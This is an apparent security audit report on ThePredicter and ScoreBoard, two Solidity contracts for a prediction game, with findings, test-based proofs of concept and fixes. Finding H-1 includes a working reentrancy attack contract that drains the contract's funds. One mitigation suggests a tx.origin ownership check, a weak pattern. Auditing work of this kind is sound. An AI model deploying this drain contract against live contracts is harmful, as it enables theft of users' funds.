

Protocol Audit Report

Version 1.0

Akshat

July 27, 2024

Protocol Audit Report

Akshat

July 27, 2024

Prepared by: Akshat Lead Auditors: - Akshat

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- · Findings

Protocol Summary

Protocol allows users to register by paying a entrance fee, and if they are approved by the organiser to be a player, you can bet on 9 matches(by giving prediction fee for each match), and in the end you can get rewards if you are eligible for them. If you are not approved to be a player, you can withdraw your entrance fee. The rewards will be distributed on the basis of entrance fee, and all the prediction fee can be withdrawn by the owner/organiser.

Disclaimer

The AKSHAT team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	Н	H/M	М
Likelihood	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

• The latest commit hash has been used for auditing.

Scope

```
1 src
2 |-- Scoreboard.sol
3 |-- ThePredicter.sol
```

Roles

The protocol have the following roles: Organizer, User and Player. Everyone can be a User and after approval of the Organizer can become a Player

Executive Summary

This was my first First Flight, had a lot of fun understanding and messing around with the codebase, and I hope that my findings help in making this protocol a bit safer.

Issues found

Severity	Number of issues found
High	6
Medium	3
Low	2
Gas	6
Info	2
Total	19

Findings

High

[H-1] The Predicter:: cancel Registration has potential re-entrancy bug, allowing malicious user to drain the contract's balance

Description: The Predicter::cancel Registration function does not follow CEI (Checks, Effects, Interactions), and makes a external call to a address before updating the state, allowing a malicious user to re-enter the same function and eventually withdraw all the funds of the contract.

```
function cancelRegistration() public {
1
2
            if (playersStatus[msg.sender] == Status.Pending) {
                (bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
3
  =>
4
5
                playersStatus[msg.sender] = Status.Canceled;
                return;
6
7
            }
8
            revert ThePredicter__NotEligibleForWithdraw(); // e if you have
                 been made a player , then you cant withdraw
9
       }
```

Impact: A malicious user may drain the contract's balance

Proof of Concept: 1. 20 people enter the raffle 2. Attacker enters and immediately cancels his registration 3. Their fallback/receive function is malicious and cancels the registration again 4. This goes on in a loop until all the balance of the contract has been drained

PoC

Place the following test and contract into your test suite

```
function test_ReentrancyInCancelRegistration() public
2
       {
           for (uint256 i = 0; i < 20; ++i) {</pre>
3
4
               address user = makeAddr(string.concat("user", Strings.
                   toString(i)));
               vm.startPrank(user);
               vm.deal(user, 1 ether);
6
7
               thePredicter.register{value: 0.04 ether}();
8
               vm.stopPrank();
           }
9
10
           AttackCancelRegistration attackContract = new
11
               AttackCancelRegistration(thePredicter);
12
           address attacker = makeAddr("attacker");
           hoax(attacker, 0.04 ether);
13
14
15
           uint256 startingPredicterBalance = address(thePredicter).
           uint256 startingAttackContractBalance = address(attackContract)
               .balance;
           // attack :)
17
           attackContract.attack{value: 0.04 ether}();
18
19
20
           uint256 endingPredicterBalance = address(thePredicter).balance;
21
           uint256 endingAttackContractBalance = address(attackContract).
               balance;
           console.log("startingPredicterBalance" ,
23
               startingPredicterBalance);
24
           console.log("startingAttackContractBalance" ,
               startingAttackContractBalance);
           console.log("endingPredicterBalance" , endingPredicterBalance);
25
           console.log("endingAttackContractBalance" ,
               endingAttackContractBalance);
27
           assert(endingPredicterBalance == 0);
           assert(endingAttackContractBalance -
               startingAttackContractBalance - 0.04 ether ==
               startingPredicterBalance);
       }
31
```

```
32 contract AttackCancelRegistration{
33
       ThePredicter thePredicter;
       uint256 public constant ENTRANCE_FEE = 0.04 ether;
34
       constructor(ThePredicter _thePredicter)
        {
            thePredicter = _thePredicter;
       }
       function attack() public payable
40
            thePredicter.register{value:ENTRANCE_FEE}(); // this and the
41
               next call will be made by address(this)
42
            thePredicter.cancelRegistration();
        }
43
44
        function stealMoney() internal
45
            if(address(thePredicter).balance >= ENTRANCE_FEE)
46
47
                thePredicter.cancelRegistration();
48
49
       }
51
       fallback() external payable
52
53
            stealMoney();
54
       }
55
        receive() external payable
57
            stealMoney();
58
       }
59 }
```

Recommended Mitigation: 1. Follow CEI, and make the external call after changing the state

```
function cancelRegistration() public {
1
2
           if (playersStatus[msg.sender] == Status.Pending) {
3 -
               (bool success, ) = msg.sender.call{value: entranceFee}("");
4 -
               require(success, "Failed to withdraw");
               playersStatus[msg.sender] = Status.Canceled;
5
               (bool success, ) = msg.sender.call{value: entranceFee}("");
6 +
               require(success, "Failed to withdraw");
7
8
               return;
9
           }
10
           revert ThePredicter__NotEligibleForWithdraw(); // e if you have
               been made a player, then you cant withdraw
       }
11
```

2. Use re-entrancy lock by Open-zeppelin

[H-2] ScoreBoard::setThePredicter function is never called in ThePredicter contract, so we cannot access ScoreBoard::confirmPredictionPayment and ScoreBoard::clearPredictionsCount functions

Description: ScoreBoard contract contains the Predicter which refers to The Predicter contract and is set via the ScoreBoard::setThe Predicter function, which allows The Predicter to access ScoreBoard::confirm Prediction Payment and ScoreBoard::clear Predictions Count functions via the only The Predicter modifier. But ScoreBoard::setThe Predicter function is never called in The Predicter contract, so we cannot access ScoreBoard::confirm Prediction Payment and ScoreBoard::clear Predictions Count functions

```
1 => address thePredicter;
2
3
4
5
       modifier onlyThePredicter() {
6
7
           if (msg.sender != thePredicter) {
8
               revert ScoreBoard__UnauthorizedAccess();
9
           }
10
           _;
       }
11
12
13
14
15
       function confirmPredictionPayment(
16
17
           address player,
18
           uint256 matchNumber
19 => ) public onlyThePredicter {
           playersPredictions[player].isPaid[matchNumber] = true;
21
       }
23
24
26
27 => function clearPredictionsCount(address player) public
      onlyThePredicter {
28
           playersPredictions[player].predictionsCount = 0;
29
       }
```

Impact: When ThePredicter::makePrediction function is called, it calls ScoreBoard
::confirmPredictionPayment and ScoreBoard::clearPredictionsCount, which
would fail since ThePredicter contract is not set as thePredicter.

Recommended Mitigation: Call the ScoreBoard::setThePredicter function in the constructor of ThePredicter which would allow access to ScoreBoard::confirmPredictionPayment and ScoreBoard::clearPredictionsCount functions.

```
constructor(
2
          address _scoreBoard,
3
          uint256 _entranceFee,
          uint256 _predictionFee
4
5
       ) {
6
           organizer = msg.sender;
          scoreBoard = ScoreBoard(_scoreBoard);
7
8
          entranceFee = _entranceFee;
9
           predictionFee = _predictionFee;
10 +
          scoreBoard.setThePredicter(address(this));
       }
11
```

IMP NOTE:: This method won't work until you address issue number H-4 and its corresponding mitigations.

In your test suite, you have called the same function in the setUp hence you dont see any errors in your tests, but in production this function needs to be called inside ScoreBoard itself to prevent any errors. If you remove the following statement from your ThePredicter.test.sol:: setUp, you will see ThePredicter::makePrediction function to revert.

```
function setUp() public {
2
         vm.startPrank(organizer);
3
          scoreBoard = new ScoreBoard();
          thePredicter = new ThePredicter(
5
              address(scoreBoard),
6
              0.04 ether,
7
              0.0001 ether
8
         );
      scoreBoard.setThePredicter(address(thePredicter));
9 =>
10
          vm.stopPrank();
11
       }
```

[H-3] The Predicter:: withdraw Prediction Fees incorrectly calculates fees to be withdrawn be the Organiser, causing users' entrance Fee to be lost

Description: The ThePredicter::withdrawPredictionFees function has the following line

```
uint256 fees = address(this).balance - players.length * entranceFee
;
```

Now, the balance of the ThePredicter contract is consisted of 3 components - Prediction fees of

all players - Entrance fee of the players - Entrance fee of the users , who werent approved to be players and still haven't withdrawn their entrance fee.

The above line of code essentially ignores this third component.

Impact: Lets consider 2 scenarios

- 1. Let there is one user who wasnt approved to be player and hasn't withdrawn their fee yet. Let the owner withdraw the fees. At this point, the balance of contract is players.length * entranceFee. Then rewards were distributed to the players. In this scenario, now the balance of the contract is 0 and the user who now wants to withdraw his entrance fee CANNOT do so.
- 2. Again , Let there is one user who wasn't approved to be player and hasn't withdrawn their fee yet. Let the owner withdraw the fees . At this point , the balance of contract is players .length * entranceFee. Now suppose the user wants to withdraw their entrance fee . They can do so as the balance of the contract allows it . Now balance of contract is (players .length * entranceFee) entranceFee . Now, players want to withdraw their rewards , but the rewards distribution calculation REQUIRES balance to be players.length * entranceFee . Look at the following line from ThePredicter::withdraw:

```
reward = maxScore < 0
reward = maxScore
```

ThePredicter::withdraw function is such that each player will come and have their reward transferred to them if they are eligible for it. Clearly, all the rewards will sum up to players.length * entranceFee. But if the balance of contract is (players.length * entranceFee) - entranceFee, the .call to one of the winners (specifically, the last winner to call ThePredicter ::withdraw function) WILL FAIL due to insufficient balance, leading to the winners not being able to collect the rewards they were eligible for.

Proof of Concept:

PoC

Place the following two tests into your ThePredicter.test.sol test suite

```
function test_withdrawPredictionFees_1() public
2
           address stranger2 = makeAddr("stranger2");
3
           address stranger3 = makeAddr("stranger3");
4
5
           address stranger4 = makeAddr("stranger4");
6
           vm.startPrank(stranger);
7
           vm.deal(stranger, 1 ether);
           thePredicter.register{value: 0.04 ether}();
8
9
           vm.stopPrank();
10
```

```
11
            vm.startPrank(stranger2);
            vm.deal(stranger2, 1 ether);
12
13
            thePredicter.register{value: 0.04 ether}();
14
            vm.stopPrank();
15
16
            vm.startPrank(stranger3);
17
            vm.deal(stranger3, 1 ether);
            thePredicter.register{value: 0.04 ether}();
18
19
            vm.stopPrank();
21
            vm.startPrank(stranger4);
22
            vm.deal(stranger4, 1 ether);
23
            thePredicter.register{value: 0.04 ether}();
24
            vm.stopPrank();
25
            vm.startPrank(organizer);
26
27
            thePredicter.approvePlayer(stranger);
            thePredicter.approvePlayer(stranger2);
28
29
            thePredicter.approvePlayer(stranger3); // dont approve
               stranger4
            vm.stopPrank();
32
            vm.startPrank(stranger);
33
            thePredicter.makePrediction{value: 0.0001 ether}(
34
                1,
                ScoreBoard.Result.Draw
            );
37
            thePredicter.makePrediction{value: 0.0001 ether}(
                ScoreBoard.Result.Draw
40
            );
            thePredicter.makePrediction{value: 0.0001 ether}(
41
42
                3,
43
                ScoreBoard.Result.Draw
44
            );
45
            vm.stopPrank();
46
47
            vm.startPrank(stranger2);
48
            thePredicter.makePrediction{value: 0.0001 ether}(
49
                1,
                ScoreBoard.Result.Draw
51
            );
52
            thePredicter.makePrediction{value: 0.0001 ether}(
53
                2,
                ScoreBoard.Result.First
54
55
            );
56
            thePredicter.makePrediction{value: 0.0001 ether}(
57
                ScoreBoard.Result.First
59
            );
60
            vm.stopPrank();
```

```
61
62
            vm.startPrank(stranger3);
63
            thePredicter.makePrediction{value: 0.0001 ether}(
64
                1,
                ScoreBoard.Result.First
            );
            thePredicter.makePrediction{value: 0.0001 ether}(
                ScoreBoard.Result.First
70
            );
71
            thePredicter.makePrediction{value: 0.0001 ether}(
                ScoreBoard.Result.First
            );
74
            vm.stopPrank();
77
            vm.startPrank(organizer);
            scoreBoard.setResult(0, ScoreBoard.Result.First);
78
            scoreBoard.setResult(1, ScoreBoard.Result.First);
79
            scoreBoard.setResult(2, ScoreBoard.Result.First);
81
            scoreBoard.setResult(3, ScoreBoard.Result.First);
82
            scoreBoard.setResult(4, ScoreBoard.Result.First);
83
            scoreBoard.setResult(5, ScoreBoard.Result.First);
84
            scoreBoard.setResult(6, ScoreBoard.Result.First);
            scoreBoard.setResult(7, ScoreBoard.Result.First);
85
            scoreBoard.setResult(8, ScoreBoard.Result.First);
87
            vm.stopPrank();
            vm.startPrank(organizer);
90
            thePredicter.withdrawPredictionFees();
91
            vm.stopPrank();
92
            vm.startPrank(stranger2);
94
            thePredicter.withdraw();
            vm.stopPrank();
96
            assertEq(stranger2.balance, 0.9997 ether);
97
            vm.startPrank(stranger3);
            thePredicter.withdraw();
100
            vm.stopPrank();
            assertEq(stranger3.balance, 1.0397 ether);
102
103
            assertEq(address(thePredicter).balance, 0 ether);
104
105
            // stranger 4 is still a USER and not a PLAYER , so according
                to documentation, he should be able to withdraw his
                entrance fee but they cant as showed :-
106
107
            vm.expectRevert("Failed to withdraw");
            vm.prank(stranger4);
            thePredicter.cancelRegistration();
109
```

```
110
        }
111
112
        function test_withdrawPredictionFees_2() public
113
114
             address stranger2 = makeAddr("stranger2");
             address stranger3 = makeAddr("stranger3");
115
116
             address stranger4 = makeAddr("stranger4");
117
             vm.startPrank(stranger);
118
             vm.deal(stranger, 1 ether);
119
             thePredicter.register{value: 0.04 ether}();
             vm.stopPrank();
121
             vm.startPrank(stranger2);
122
123
             vm.deal(stranger2, 1 ether);
124
             thePredicter.register{value: 0.04 ether}();
125
             vm.stopPrank();
126
             vm.startPrank(stranger3);
127
128
             vm.deal(stranger3, 1 ether);
129
             thePredicter.register{value: 0.04 ether}();
130
             vm.stopPrank();
131
132
             vm.startPrank(stranger4);
133
             vm.deal(stranger4, 1 ether);
134
             thePredicter.register{value: 0.04 ether}();
135
             vm.stopPrank();
             vm.startPrank(organizer);
137
             thePredicter.approvePlayer(stranger);
139
             thePredicter.approvePlayer(stranger2);
140
             thePredicter.approvePlayer(stranger3); // dont approve
                stranger4
141
             vm.stopPrank();
142
             vm.startPrank(stranger);
143
144
             thePredicter.makePrediction{value: 0.0001 ether}(
145
                 1,
146
                 ScoreBoard.Result.Draw
147
             );
             thePredicter.makePrediction{value: 0.0001 ether}(
148
149
                 ScoreBoard.Result.Draw
151
             );
             thePredicter.makePrediction{value: 0.0001 ether}(
153
154
                 ScoreBoard.Result.Draw
155
             );
156
             vm.stopPrank();
157
             vm.startPrank(stranger2);
158
159
             thePredicter.makePrediction{value: 0.0001 ether}(
```

```
160
161
                 ScoreBoard.Result.Draw
162
             );
163
             thePredicter.makePrediction{value: 0.0001 ether}(
164
165
                 ScoreBoard.Result.First
166
             );
             thePredicter.makePrediction{value: 0.0001 ether}(
167
                 ScoreBoard.Result.First
             );
171
             vm.stopPrank();
172
             vm.startPrank(stranger3);
173
174
             thePredicter.makePrediction{value: 0.0001 ether}(
175
                 1,
176
                 ScoreBoard.Result.First
177
             );
178
             thePredicter.makePrediction{value: 0.0001 ether}(
179
                 ScoreBoard.Result.First
180
             );
182
             thePredicter.makePrediction{value: 0.0001 ether}(
184
                 ScoreBoard.Result.First
185
             );
             vm.stopPrank();
187
             vm.startPrank(organizer);
189
             scoreBoard.setResult(0, ScoreBoard.Result.First);
190
             scoreBoard.setResult(1, ScoreBoard.Result.First);
191
             scoreBoard.setResult(2, ScoreBoard.Result.First);
             scoreBoard.setResult(3, ScoreBoard.Result.First);
192
             scoreBoard.setResult(4, ScoreBoard.Result.First);
193
             scoreBoard.setResult(5, ScoreBoard.Result.First);
194
195
             scoreBoard.setResult(6, ScoreBoard.Result.First);
             scoreBoard.setResult(7, ScoreBoard.Result.First);
196
197
             scoreBoard.setResult(8, ScoreBoard.Result.First);
             vm.stopPrank();
198
199
200
             vm.startPrank(organizer);
201
             thePredicter.withdrawPredictionFees();
202
             vm.stopPrank();
203
204
             vm.startPrank(stranger2);
205
             thePredicter.withdraw();
             vm.stopPrank();
207
             assertEq(stranger2.balance, 0.9997 ether);
208
             vm.prank(stranger4);
209
             thePredicter.cancelRegistration();
210
```

Recommended Mitigation: Store all the prediction fees in a variable, increment it whenever a player makes a prediction, and withdraw that amount in the ThePredicter:: withdrawPredictionFees function. Remember to reset that variable to 0 after withdrawing the prediction fees.

```
uint256 totalPredictionFees = 0;
2
3
4
5
6
7
       function makePrediction(
8
           uint256 matchNumber,
9
           ScoreBoard.Result prediction
10
       ) public payable {
           if (msg.value != predictionFee) {
12
                revert ThePredicter__IncorrectPredictionFee();
           }
13
14
15
           if (block.timestamp > START_TIME + matchNumber * 68400 - 68400)
16
                revert ThePredicter__PredictionsAreClosed();
17
           }
18
19
           scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
20
           scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
21
22 +
           totalPredictionFees += predictionFee;
23
       }
24
25
       function withdrawPredictionFees() public {
26
           if (msg.sender != organizer) {
27
                revert ThePredicter__NotEligibleForWithdraw();
           }
28
29
           uint256 fees = address(this).balance - players.length *
30 -
       entranceFee;
31 +
           uint256 fees = totalPredictionFees;
32 +
           totalPredictionFees = 0 ;
33
           (bool success, ) = msg.sender.call{value: fees}("");
34
           require(success, "Failed to withdraw");
       }
```

[H-4] The Predicter is not set as the owner in Score Board hence cannot access the only Owner functions of Score Board.

Description: ScoreBoard contract has a role called owner and a modifier onlyOwner which sets access controls for some functions. Now, we will have to call ScoreBoard::setThePredicter and ScoreBoard::setResult functions via our ThePredicter contract. For that our ThePredicter contract should be the owner of ScoreBoard contract, which isn't the case here.

Impact: ScoreBoard::setThePredicter and ScoreBoard::setResult functions functions cannot be called via ThePredicter contract

Recommended Mitigation: 1. Currently we are using the address of an already deployed ScoreBoard contract and using it's instance in ThePredicter contract to call all the functions we want. Rather, we can deploy a new ScoreBoard contract from the constructor of ThePredicter contract. This way, ThePredicter contract will become the owner of ScoreBoard and we would be able to call the onlyOwner functions.

```
constructor(
          address _scoreBoard,
2
3
          uint256 _entranceFee,
4
          uint256 _predictionFee
5
       ) {
6
          organizer = msg.sender;
          scoreBoard = ScoreBoard(_scoreBoard);
7 -
8 +
          scoreBoard = new ScoreBoard();
9
          entranceFee = _entranceFee;
10
           predictionFee = _predictionFee;
       }
11
```

One potential flaw in this method/mitigation is that you lose direct control over ScoreBoard contract, and whenever you want to interact with it, you have to do it via ThePredicter contract.

2. (less recommended) Let your address is _address. Deploy both the contracts with _address , so _address will become the owner of ScoreBoard. Now in the onlyOwner modifier , change msg.sender to tx.origin , so whenever I use ScoreBoard contract with my _address address to call onlyOwner functions of ScoreBoard , the tx.origin will be _address , and the onlyOwner modifier will not revert.

```
modifier onlyOwner() {
    if (msg.sender != owner) {
        if (tx.origin != owner) {
            revert ScoreBoard__UnauthorizedAccess();
        }
        }
}
```

```
7 }
```

This method is less recommended as it requires you to deploy both contracts with the same address and pass the address of ScoreBoard contract into the constructor of ThePredicter contract, whereas the first method/mitigation just deploys a new contract.

[H-5] Incorrect comparision of time for making a Prediction in ScoreBoard::setPrediction

Description: The formula used following is wrong as per the documentation

```
function setPrediction(
2
            address player,
3
            uint256 matchNumber,
4
            Result result
5
       ) public {
6
   =>
            if (block.timestamp <= START_TIME + matchNumber * 68400 -</pre>
       68400)
7
                playersPredictions[player].predictions[matchNumber] =
                   result:
8
            playersPredictions[player].predictionsCount = 0;
            for (uint256 i = 0; i < NUM_MATCHES; ++i) {</pre>
                if (
10
11
                    playersPredictions[player].predictions[i] != Result.
                        Pending &&
                    playersPredictions[player].isPaid[i]
12
13
                ) ++playersPredictions[player].predictionsCount;
14
            }
15
       }
```

Similar mistake in ThePredicter::makePrediction:

```
function makePrediction(
2
           uint256 matchNumber,
3
           ScoreBoard.Result prediction
4
       ) public payable {
           if (msg.value != predictionFee) {
5
6
               revert ThePredicter__IncorrectPredictionFee();
7
           }
8
9
   =>
           if (block.timestamp > START_TIME + matchNumber * 68400 - 68400)
       {
10
                revert ThePredicter__PredictionsAreClosed();
11
           }
12
           scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
14
           scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
15
       }
```

As per the above formula: For matchNumber = 0, you can make a bet only till 19 hrs before START_TIME, i.e., 1 AM 15 Aug,2024 UTC For matchNumber = 1, you can make a bet till START_TIME, i.e., 8 PM 15 Aug,2024 UTC For matchNumber = 2, you can make a bet only till 19 hrs after START_TIME, i.e., 3 PM 16 Aug,2024 UTC...

But according to documentation, we can make a bet till 7 PM on the day of the match, which is obviously not the case here

Impact: People will not be able to place bets in the timeframe that the protocol tells them, causing confusion and decreased user participation

Proof of Concept:

PoC

Place the following test into ThePredicter.test.sol

```
function test_setPredictionHasIncorrectTimeChecks() public
2
       {
3
           vm.startPrank(stranger);
4
           vm.deal(stranger, 1 ether);
5
           thePredicter.register{value: 0.04 ether}();
           vm.stopPrank();
6
7
8
           vm.startPrank(organizer);
           thePredicter.approvePlayer(stranger);
9
10
           vm.stopPrank();
           vm.warp(1723744800); // 15 August 2024 18:00:00 UTC
12
           vm.prank(stranger);
13
14
           vm.expectRevert(
               abi.encodeWithSelector(ThePredicter__PredictionsAreClosed.
15
                   selector)
           );
16
           thePredicter.makePrediction{value: 0.0001 ether}(
17
18
               0, // bets of match-0 should be till 15 August 2024
                   19:00:00 UTC but this will revert
               ScoreBoard.Result.Draw
19
           );
           vm.warp(1723831200); // 16 August 2024 18:00:00 UTC
23
           vm.prank(stranger);
24
           vm.expectRevert(
               abi.encodeWithSelector(ThePredicter__PredictionsAreClosed.
25
                   selector)
26
27
           thePredicter.makePrediction{value: 0.0001 ether}(
28
               1, // bets of match-0 should be till 16 August 2024
                   19:00:00 UTC but this will revert
29
               ScoreBoard.Result.Draw
```

```
30 );
31 }
```

Recommended Mitigation: Change the formula

```
function setPrediction(
2
            address player,
3
            uint256 matchNumber,
            Result result
5
       ) public {
           if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)</pre>
6
7
           if(block.timestamp <= START_TIME + matchNumber*86400 - 3600)</pre>
8
                playersPredictions[player].predictions[matchNumber] =
                    result:
9
            playersPredictions[player].predictionsCount = 0;
            for (uint256 i = 0; i < NUM_MATCHES; ++i) {</pre>
10
                if (
11
12
                    playersPredictions[player].predictions[i] != Result.
                        Pending &&
13
                    playersPredictions[player].isPaid[i]
                ) ++playersPredictions[player].predictionsCount;
14
15
            }
       }
16
```

```
function makePrediction(
2
           uint256 matchNumber,
3
           ScoreBoard.Result prediction
4
       ) public payable {
           if (msg.value != predictionFee) {
5
6
               revert ThePredicter__IncorrectPredictionFee();
7
           }
8
9
           if (block.timestamp > START_TIME + matchNumber * 68400 - 68400)
          if(block.timestamp > START_TIME + matchNumber*86400 - 3600){
11
               revert ThePredicter__PredictionsAreClosed();
           }
13
14
           scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
15
           scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
       }
16
17
       }
```

Explanation - -3600 is to decrease time by 1 hr - matchNumber *86400 will move time ahead by 86400 seconds (i.e. 24 hrs) each day - Since START_TIME represents 8 PM on 15 Aug, 2024 UTC, this formula will allow betting till 7 PM UTC on 15 Aug, 16 Aug, ...

[H-6] ThePredicter::withdraw function skips the case of maxScore == 0, leading to loss of funds.

Description: The Predicter: withdraw function is about players calling it and getting the reward if they are eligible for it. But it skips the case where maxScore equals 0, essentially making the reward variable = 0 till the end of the function, and the winner wouldnt get any funds.

Impact: All the winners wouldn't get any funds if maxScore == 0

Proof of concept:

PoC

Place the following test into ThePredicter.test.sol

```
function test_withdrawIgnoresOneEdgeCase() public
2
       {
3
           address stranger2 = makeAddr("stranger2");
           address stranger3 = makeAddr("stranger3");
5
           vm.startPrank(stranger);
6
           vm.deal(stranger, 1 ether);
7
           thePredicter.register{value: 0.04 ether}();
           vm.stopPrank();
8
9
10
           vm.startPrank(stranger2);
11
           vm.deal(stranger2, 1 ether);
12
           thePredicter.register{value: 0.04 ether}();
           vm.stopPrank();
13
14
           vm.startPrank(stranger3);
15
           vm.deal(stranger3, 1 ether);
16
17
           thePredicter.register{value: 0.04 ether}();
18
           vm.stopPrank();
19
           vm.startPrank(organizer);
20
           thePredicter.approvePlayer(stranger);
21
22
           thePredicter.approvePlayer(stranger2);
23
           thePredicter.approvePlayer(stranger3);
24
           vm.stopPrank();
25
           vm.startPrank(stranger);
27
           thePredicter.makePrediction{value: 0.0001 ether}(
28
               1,
29
               ScoreBoard.Result.Draw
           thePredicter.makePrediction{value: 0.0001 ether}(
31
32
               2,
               ScoreBoard.Result.Draw
34
           );
           thePredicter.makePrediction{value: 0.0001 ether}(
```

```
37
                ScoreBoard.Result.Draw
           );
39
           vm.stopPrank();
40
            // score of stranger = -3
41
42
           vm.startPrank(stranger2);
            thePredicter.makePrediction{value: 0.0001 ether}(
43
44
                1,
45
                ScoreBoard.Result.Draw
46
           );
47
            thePredicter.makePrediction{value: 0.0001 ether}(
48
                ScoreBoard.Result.First
49
50
            );
            thePredicter.makePrediction{value: 0.0001 ether}(
51
52
53
                ScoreBoard.Result.Draw
54
           );
55
           vm.stopPrank();
            // score of stranger2 = 0
57
58
           vm.startPrank(stranger3);
59
           thePredicter.makePrediction{value: 0.0001 ether}(
                1,
                ScoreBoard.Result.Second
62
           );
            thePredicter.makePrediction{value: 0.0001 ether}(
64
                ScoreBoard.Result.Second
66
           );
            thePredicter.makePrediction{value: 0.0001 ether}(
67
68
                3,
                ScoreBoard.Result.Second
           );
           vm.stopPrank();
71
72
            // score of stranger3 = -3
73
74
           vm.startPrank(organizer);
75
           scoreBoard.setResult(0, ScoreBoard.Result.First);
           scoreBoard.setResult(1, ScoreBoard.Result.First);
76
           scoreBoard.setResult(2, ScoreBoard.Result.First);
           scoreBoard.setResult(3, ScoreBoard.Result.First);
78
79
           scoreBoard.setResult(4, ScoreBoard.Result.First);
           scoreBoard.setResult(5, ScoreBoard.Result.First);
           scoreBoard.setResult(6, ScoreBoard.Result.First);
81
           scoreBoard.setResult(7, ScoreBoard.Result.First);
82
           scoreBoard.setResult(8, ScoreBoard.Result.First);
83
84
           vm.stopPrank();
86
           vm.startPrank(organizer);
```

Protocol Audit Report

```
87
            thePredicter.withdrawPredictionFees();
88
            vm.stopPrank();
89
            vm.startPrank(stranger);
90
91
            vm.expectRevert(); // will revert as maxScore(or totalShares) =
                 0 , and formula of reward is reward = maxScore <= 0 ?</pre>
                entranceFee : (shares * players.length * entranceFee) /
                totalShares; ---> here division by 0 will occur hence it
                will revert.
92
            thePredicter.withdraw();
93
            vm.stopPrank();
94
            vm.startPrank(stranger2);
            vm.expectRevert();
97
            thePredicter.withdraw();
98
            vm.stopPrank();
99
            vm.startPrank(stranger3);
            vm.expectRevert();
101
102
            thePredicter.withdraw();
103
            vm.stopPrank();
104
        }
```

Clearly all players have <= 0 score, hence they should get back their entranceFee but withdraw function is reverting.

Recommended Mitigation: Make the following change in the reward calculation logic in the ThePredicter::withdrawfunction.

Medium

[M-1] Incorrect comparision in ScoreBoard::isEligibleForReward function, making players with 1 prediction not eligible for reward

Description: The following line of code requires a player to have more than 1 prediction to be eligible for reward, however the documentation states that a player with ONE OR more than one prediction should be eligible for rewards.

```
1 function isEligibleForReward(address player) public view returns (bool)
{
2    return
```

```
results[NUM_MATCHES - 1] != Result.Pending &&
playersPredictions[player].predictionsCount > 1;
}
```

Impact: The player who has made only 1 prediction in all the matches will not be eligible for rewards.

Recommended Mitigation: Make the following changes in the inequality

```
function isEligibleForReward(address player) public view returns (bool)
{

return
results[NUM_MATCHES - 1] != Result.Pending &&
playersPredictions[player].predictionsCount > 1;
playersPredictions[player].predictionsCount >= 1;
}
```

[M-2] The Predicter has 3 functions which make external low level calls to address to send money , which may fail

Description: The following 3 functions make external call to addresses to send money

1.

```
1
        function cancelRegistration() public {
2
            if (playersStatus[msg.sender] == Status.Pending) {
                 (bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
3
4
5
                 playersStatus[msg.sender] = Status.Canceled;
6
                 return;
7
8
            revert ThePredicter__NotEligibleForWithdraw();
9
       }
```

2.

```
function withdrawPredictionFees() public {
1
           if (msg.sender != organizer) {
2
3
               revert ThePredicter__NotEligibleForWithdraw();
4
           }
5
          uint256 fees = address(this).balance - players.length *
6
              entranceFee;
7
           (bool success, ) = msg.sender.call{value: fees}("");
           require(success, "Failed to withdraw");
8
9
      }
```

3.

```
1
       function withdraw() public {
2
3
4
5
6
           if (reward > 0) {
               scoreBoard.clearPredictionsCount(msg.sender);
               (bool success, ) = msg.sender.call{value: reward}("");
8 =>
9
               require(success, "Failed to withdraw");
          }
11
       }
```

Users/Players/Organiser may have used a smart contract address to enter, and that contract may knowingly or unknowingly have a missing/incorrect/malicious receive/fallback function and the call may fail

Impact: Users/Players/Organiser may not be able to receive the funds they are eligible to if their receive/fallback is absent or messed up.

Recommended Mitigation: Allow Users/Players/Organiser to pull their funds for themselves instead to sending it to them. > PULL OVER PUSH

[M-3] There is no function to set the result in ThePredicter

Add the following function to ThePredicter

IMP NOTE:: This method won't work until you address issue number H-4 and its corresponding mitigations.

Low

[L-1] Should have different names for access controls in ScoreBoard contract

Description: ScoreBoard has ScoreBoard__UnauthorizedAccess error and is used in 2 different modifiers, onlyOwner and onlyThePredicter. Whenever these modifiers revert,

they revert with ScoreBoard__UnauthorizedAccess which may cause some confusion which modifier actually reverted the transaction.

```
1 =>
        error ScoreBoard__UnauthorizedAccess();
2
3
       modifier onlyOwner() {
4
           if (msg.sender != owner) {
5 =>
               revert ScoreBoard__UnauthorizedAccess();
           }
6
7
           _;
8
       }
9
10
       modifier onlyThePredicter() {
           if (msg.sender != thePredicter) {
11
12 =>
               revert ScoreBoard__UnauthorizedAccess();
           }
13
14
           _;
15
       }
```

Impact: Whenever these modifiers revert, they revert with ScoreBoard__UnauthorizedAccess which may cause some confusion which modifier actually reverted the transaction.

Recommended Mitigation: Use two different errors for both modifiers

```
error ScoreBoard__UnauthorizedAccess();
  +
        error ScoreBoard__NotTheOwner();
2
        error ScoreBoard__NotThePredicter();
3 +
4
       modifier onlyOwner() {
5
           if (msg.sender != owner) {
6
               revert ScoreBoard__UnauthorizedAccess();
7
               revert ScoreBoard__NotTheOwner();
8 +
9
           }
10
           _;
       }
11
12
13
       modifier onlyThePredicter() {
           if (msg.sender != thePredicter) {
14
               revert ScoreBoard__UnauthorizedAccess();
15 -
               revert ScoreBoard__NotThePredicter();
16 +
17
           }
18
           _;
       }
19
```

[L-2] Necessary events should be emmitted, making the protocol more transparent and makes off-chain monitoring easier

Description: The following functions should emit necessary events: ScoreBoard::setThePredicter
,ScoreBoard::setResult,ScoreBoard::confirmPredictionPayment,ScoreBoard
::setPrediction , ScoreBoard::clearPredictionsCount , ThePredicter::
register,ThePredicter::cancelRegistration,ThePredicter::approvePlayer
, ThePredicter::makePrediction , ThePredicter::withdrawPredictionFees ,
